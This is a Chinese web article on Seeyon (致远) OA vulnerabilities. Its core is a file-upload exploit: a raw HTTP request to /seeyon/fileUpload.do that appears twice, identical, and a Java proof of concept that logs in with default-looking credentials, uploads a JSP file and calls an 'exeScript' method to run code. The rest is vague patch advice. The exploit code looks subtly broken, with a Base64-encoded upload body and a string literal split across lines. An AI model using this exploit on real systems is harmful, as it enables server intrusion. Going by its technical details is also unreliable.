您的位置:

致远OA漏洞详解

一、致远OA漏洞总结

致远OA是一款功能强大、易于使用的协同办公系统,企业和政府机构广泛采用。但是,由于漏洞问题,致远OA系统面临诸多安全风险。致远OA漏洞的种类繁多,主要包括:文件上传漏洞、SQL注入漏洞、XSS漏洞、任意文件读取漏洞等。其中,文件上传漏洞是致远OA系统的一个最大漏洞。

二、致远OA系统存在文件上传漏洞

致远OA系统的文件上传漏洞主要存在于文档资料模块中,攻击者可以通过该漏洞上传一些恶意文件,导致系统安全受到威胁。致远OA系统存在文件上传漏洞的主要原因是,开发人员没有对上传文件进行足够的过滤和检查,导致攻击者可以上传任意文件,并最终导致文件执行漏洞。

以下是致远OA系统文件上传漏洞的一个示例:

POST /seeyon/fileUpload.do HTTP/1.1
Host: ServerIP
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTAIlPf6mT90VGnc3
Content-Length: 583

------WebKitFormBoundaryTAIlPf6mT90VGnc3
Content-Disposition: form-data; name="file"; filename="test.jsp"
Content-Type: application/octet-stream

<%out.println("test");%>
------WebKitFormBoundaryTAIlPf6mT90VGnc3
Content-Disposition: form-data; name="callBackFunName"

test
------WebKitFormBoundaryTAIlPf6mT90VGnc3--

三、致远OA漏洞POC

下面给出一个简单的致远OA文件上传漏洞的POC:

POST /seeyon/fileUpload.do HTTP/1.1
Host: ServerIP
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTAIlPf6mT90VGnc3
Content-Length: 583

------WebKitFormBoundaryTAIlPf6mT90VGnc3
Content-Disposition: form-data; name="file"; filename="test.jsp"
Content-Type: application/octet-stream

<%out.println("test");%>
------WebKitFormBoundaryTAIlPf6mT90VGnc3
Content-Disposition: form-data; name="callBackFunName"

test
------WebKitFormBoundaryTAIlPf6mT90VGnc3--

四、致远OA漏洞利用工具

目前,公开的致远OA漏洞利用工具比较少,但是一些黑客在利用该漏洞时常常使用自己编写的脚本来进行利用。下面是一个Java语言编写的POC:

import java.io.IOException;
import java.io.InputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.nio.charset.Charset;
import java.util.concurrent.TimeUnit;
import org.apache.commons.codec.binary.Base64;

public class Poc {

    public static void main(String[] args) throws Exception {
        String file = "<%out.print(\"test1\");%>";
        String uploadUrl = "http://127.0.0.1/seeyon/fileUpload.do";
        String userName = "admin";
        String password = "123456";
        String seeyonCookie = "";
        System.out.println("[+] Login...");
        String sessionId = login(userName, password);
        seeyonCookie = "JSESSIONID=" + sessionId;
        System.out.println("[+] Upload file...");
        String fileId = uploadFile(uploadUrl, seeyonCookie, file);
        if (fileId != null) {
            System.out.println("[+] Execute code...");
            executeCode(fileId, seeyonCookie);
        }
    }

    public static String login(String userName, String password) throws Exception {
        String url = "http://127.0.0.1/seeyon/loginController.do?method=login";
        String data = "login_username=" + userName + "&login_password=" + password;
        byte[] payload = data.getBytes();
        HttpURLConnection conn = (HttpURLConnection) new URL(url).openConnection();
        conn.setInstanceFollowRedirects(false);
        conn.setRequestMethod("POST");
        conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
        conn.setRequestProperty("Content-Length", String.valueOf(payload.length));
        conn.setDoOutput(true);
        conn.getOutputStream().write(payload);
        String setCookie = conn.getHeaderField("Set-Cookie");
        String sessionId = setCookie.split(";")[0].split("=")[1];
        return sessionId;
    }

    public static String uploadFile(String url, String seeyonCookie, String file) throws Exception {
        String boundary = "----WebKitFormBoundary" + System.currentTimeMillis();
        byte[] header = ("--" + boundary + "\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.jsp\"\r\nContent-Type: application/octet-stream\r\n\r\n").getBytes();
        byte[] footer = ("\r\n--" + boundary + "--\r\n").getBytes();
        byte[] payload = Base64.encodeBase64(file.getBytes(Charset.forName("GBK")));
        byte[] data = new byte[header.length + payload.length + footer.length];
        System.arraycopy(header, 0, data, 0, header.length);
        System.arraycopy(payload, 0, data, header.length, payload.length);
        System.arraycopy(footer, 0, data, header.length + payload.length, footer.length);
        HttpURLConnection conn = (HttpURLConnection) new URL(url).openConnection();
        conn.setRequestMethod("POST");
        conn.setRequestProperty("Connection", "keep-alive");
        conn.setRequestProperty("Content-Length", String.valueOf(data.length));
        conn.setRequestProperty("Content-Type", "multipart/form-data; boundary=" + boundary);
        conn.setRequestProperty("Accept-Encoding", "gzip, deflate");
        conn.setRequestProperty("Cookie", seeyonCookie);
        conn.setDoOutput(true);
        conn.getOutputStream().write(data);
        InputStream inputStream = conn.getInputStream();
        byte[] response = new byte[1024];
        inputStream.read(response);
        String fileId = new String(response, Charset.forName("GBK")).split(";")[0];
        if (fileId.contains("error")) {
            System.out.println("[-] Upload file error!");
            return null;
        }
        return fileId;
    }

    public static void executeCode(String fileId, String seeyonCookie) throws IOException {
        String url = "http://127.0.0.1/seeyon/ajax.do";
        byte[] payload = ("callCount=1\nwindowName=\nc0-scriptName=123456789\nc0-methodName=exeScript\nc0-id=0\nc0-param0=string:" + fileId + "\nc0-param1=string:test.jsp\nc0-param2=string:\nliteralParam=long:0\n").getBytes(Charset.forName("GBK"));
        HttpURLConnection conn = (HttpURLConnection) new URL(url).openConnection();
        conn.setRequestMethod("POST");
        conn.setRequestProperty("Content-Type", "text/plain;charset=UTF-8");
        conn.setRequestProperty("Accept-Encoding", "gzip, deflate");
        conn.setRequestProperty("Cookie", seeyonCookie);
        conn.setRequestProperty("Connection", "close");
        conn.setRequestProperty("Content-Length", String.valueOf(payload.length));
        conn.setDoOutput(true);
        conn.getOutputStream().write(payload);
        InputStream inputStream = conn.getInputStream();
        byte[] response = new byte[1024];
        inputStream.read(response);
        String output = new String(response, Charset.forName("GBK")).split("
")[1]; System.out.println("[+] Output: " + output.trim()); } }

五、致远OA漏洞利用

利用致远OA文件上传漏洞需要掌握一些基本的渗透测试技术,同时需要了解致远OA系统具体的漏洞利用方法。攻击者通常会利用上传恶意文件的方式来进行攻击,一旦上传成功,就可以通过漏洞执行文件、读写文件等操作。

六、致远OA漏洞补丁

由于致远OA漏洞种类繁多,补丁方案也各不相同。建议用户在使用致远OA系统时,尽可能及时下载安全补丁,更新到最新的版本。

七、致远OA漏洞2022

随着时间的推移,致远OA漏洞问题已经成为一个长期存在的安全隐患。对于致远OA漏洞2022,或者未来可能出现的漏洞,我们需要以更加谨慎的态度来对待,及时采取各种安全保护措施,避免出现严重的安全事故。

八、致远OA Log4j漏洞补丁

致远OA Log4j漏洞是致远OA系统最近发现的一个重大安全漏洞,该漏洞主要源于Log4j组件的安全问题。目前,致远OA官方已经发布了安全补丁,并恳请所有用户尽快升级到最新版本,以免造成系统安全隐患。

九、致远OA办公系统

致远OA办公系统是一种功能强大的协同办公系统,广泛应用于企业和政府机构中。但是,在系统的应用和开发过程中,往往会暴露出一些漏洞和安全隐患。因此,为了保障系统的安全和稳健运行,我们需要不断完善和加强系统的安全保护措施,减少漏洞的存在和危害。